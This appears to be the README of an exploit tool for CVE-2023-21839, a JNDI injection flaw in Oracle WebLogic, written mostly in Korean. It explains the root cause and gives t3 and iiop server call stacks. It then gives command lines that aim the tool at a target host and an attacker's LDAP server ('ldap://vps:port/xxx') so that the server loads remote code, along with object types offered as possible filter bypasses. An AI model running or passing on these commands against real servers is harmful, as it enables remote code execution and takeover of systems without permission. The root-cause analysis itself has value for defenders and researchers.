
CVE-2023-21839 도구
이 취약점은 t3 또는 iiop 프로토콜을 통해 객체를 바인딩한 후 lookup 또는 list 메서드를 호출할 때 바인딩된 객체의 getReferent 메서드가 트리거되기 때문에 발생합니다.

t3 프로토콜의 호출 스택
getObjectInstance:96, WLNamingManager (weblogic.jndi.internal)
resolveObject:377, ServerNamingNode (weblogic.jndi.internal)
resolveObject:856, BasicNamingNode (weblogic.jndi.internal)
lookup:209, BasicNamingNode (weblogic.jndi.internal)
invoke:-1, RootNamingNode_WLSkel (weblogic.jndi.internal)
invoke:667, BasicServerRef (weblogic.rmi.internal)
invoke:230, ClusterableServerRef (weblogic.rmi.cluster)
run:522, BasicServerRef$1 (weblogic.rmi.internal)
doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:146, SecurityManager (weblogic.security.service)
handleRequest:518, BasicServerRef (weblogic.rmi.internal)
run:118, WLSExecuteRequest (weblogic.rmi.internal.wls)
execute:256, ExecuteThread (weblogic.work)
run:221, ExecuteThread (weblogic.work)
iiop 프로토콜의 호출 스택
getObjectInstance:96, WLNamingManager (weblogic.jndi.internal)
resolveObject:377, ServerNamingNode (weblogic.jndi.internal)
resolveObject:856, BasicNamingNode (weblogic.jndi.internal)
lookup:209, BasicNamingNode (weblogic.jndi.internal)
lookup:254, WLEventContextImpl (weblogic.jndi.internal)
lookup:412, WLContextImpl (weblogic.jndi.internal)
lookup:411, InitialContext (javax.naming)
resolveObject:454, NamingContextImpl (weblogic.corba.cos.naming)
resolve_any:360, NamingContextImpl (weblogic.corba.cos.naming)
_invoke:108, _NamingContextAnyImplBase (weblogic.corba.cos.naming)
invoke:249, CorbaServerRef (weblogic.corba.idl)
invoke:230, ClusterableServerRef (weblogic.rmi.cluster)
run:522, BasicServerRef$1 (weblogic.rmi.internal)
doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:146, SecurityManager (weblogic.security.service)
handleRequest:518, BasicServerRef (weblogic.rmi.internal)
run:118, WLSExecuteRequest (weblogic.rmi.internal.wls)
execute:256, ExecuteThread (weblogic.work)
run:221, ExecuteThread (weblogic.work)
간단한 조사를 통해 다른 객체로도 트리거할 수 있음을 발견했습니다.
java -jar CVE-2023-21839.jar obj 127.0.0.1 7001 ldap://vps:port/xxx
obj 选项支持4种 maybe can bypass!
foreignOpaqueRef,foreignOpaqueRef2,AggtableOpaqueRef,linkRef
eg:
java -jar CVE-2023-21839.jar foreignOpaqueRef 127.0.0.1 7001 ldap://vps:port/xxx
iiop net 네트워크 문제를 해결했습니다.
https://firebasky.github.io/2023/01/18/Solve-the-problem-of-iiop-using-net-network-in-webLogic/